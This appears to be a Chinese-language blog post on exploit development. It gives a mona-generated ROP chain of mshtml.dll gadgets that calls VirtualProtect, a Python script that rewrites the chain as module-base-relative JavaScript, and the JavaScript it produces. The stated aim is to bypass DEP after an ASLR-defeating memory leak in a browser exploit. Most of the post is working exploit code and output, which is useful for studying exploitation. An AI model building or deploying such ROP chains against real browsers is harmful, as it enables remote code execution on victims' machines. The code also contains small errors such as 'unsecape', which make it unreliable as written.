python实现生成相对地址的ROP

时间:2022-12-27 13:40:21
在溢出的时候,为了绕过需要一个ROP链,此时可以使用mona模块生成一个ROP链,命令为!py mona rop -m mshtml.dll ,此时生成的ROP是一个决定地址的,这样生成的ROP不能在其他电脑上使用,或者电脑重启之后也不能使用了,我们常见的溢出利用思路是利用内存泄漏绕过ASLR,然后利用ROP绕过DEP,此时就需要生成一个相对的ROP(即包含模块基地址+偏移)

我自己写了段python代码,实现这一功能: 首先将mona生成的ROP部分保存为jueduidizhi.txt,代码如下:
def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = ""
rop_gadgets += struct.pack('<L',0x68edd743) # POP EBP # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68edd743) # skip 4 bytes [mshtml.dll]
rop_gadgets += struct.pack('<L',0x692a240a) # POP EBX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x00000201) # 0x00000201-> ebx
rop_gadgets += struct.pack('<L',0x6916b796) # POP EDX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x00000040) # 0x00000040-> edx
rop_gadgets += struct.pack('<L',0x69157863) # POP ECX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x693a8737) # &Writable location [mshtml.dll]
rop_gadgets += struct.pack('<L',0x6904ca2f) # POP EDI # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68ff38e2) # RETN (ROP NOP) [mshtml.dll]
rop_gadgets += struct.pack('<L',0x69094dfb) # POP ESI # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68e7c0a3) # JMP [EAX] [mshtml.dll]
rop_gadgets += struct.pack('<L',0x691c13ef) # POP EAX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68e71348) # ptr to &VirtualProtect() [IAT mshtml.dll]
rop_gadgets += struct.pack('<L',0x68edcce2) # PUSHAD # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68eab04f) # ptr to 'jmp esp' [mshtml.dll]
return rop_gadgets

rop_chain = create_rop_chain()
此时的mshtml模块基地址是0x68e70000。 利用的python代码为(exp.py):
f=open("c:\\jueduidizhi.txt","r")   
f1=open("c:\\outjs.txt","w") //保存的文件
yuanshibase=0x68e70000 //将此地址修改为你的模块基地址
f1.write("function test(base){\n")
f1.write(' var result="unsecape(\\\"";\n')
for i in f.readlines():
if i.strip().find("0x")==-1:
pass
else:
num_hex=int(i[i.find("0x"):i.find("0x")+10],16)
rva=num_hex-int(yuanshibase)
if rva>0:
f1.write(' result+="%u"+("000"+((base+'+hex(rva)+')%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+'+hex(rva)+')/0x10000).toString(16)).substr(-4);\n')
else:
f1.write(' result+="%u"+("000"+'+hex(num_hex)+'.toString(16)).substr(-4)+"%u0000";\n')
f1.write(' result+="\\\")";\n')
f1.write(" return result\n")
f1.write('}\n')
f.close()
f1.close()
运行这段代码就会在C盘根目录下生成一个outjs.txt的文件,文件中保存着javascript的代码:
function test(base){
var result="unsecape(\"";
result+="%u"+("000"+((base+0x6d743)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x6d743)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x6d743)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x6d743)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x43240a)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x43240a)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+0x201.toString(16)).substr(-4)+"%u0000";
result+="%u"+("000"+((base+0x2fb796)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x2fb796)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+0x40.toString(16)).substr(-4)+"%u0000";
result+="%u"+("000"+((base+0x2e7863)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x2e7863)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x538737)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x538737)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x1dca2f)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x1dca2f)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x1838e2)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x1838e2)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x224dfb)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x224dfb)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0xc0a3)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0xc0a3)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x3513ef)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x3513ef)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x1348)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x1348)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x6cce2)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x6cce2)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x3b04f)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x3b04f)/0x10000).toString(16)).substr(-4);
result+="\")";
return result
}
参数就是模块基地址,这样不管基地址怎么变化,运行这段js代码就会生成一个ROP链了 。

这里仅仅写了一个生成js ROP的代码,关于生成python的代码,以后再说吧 。。。。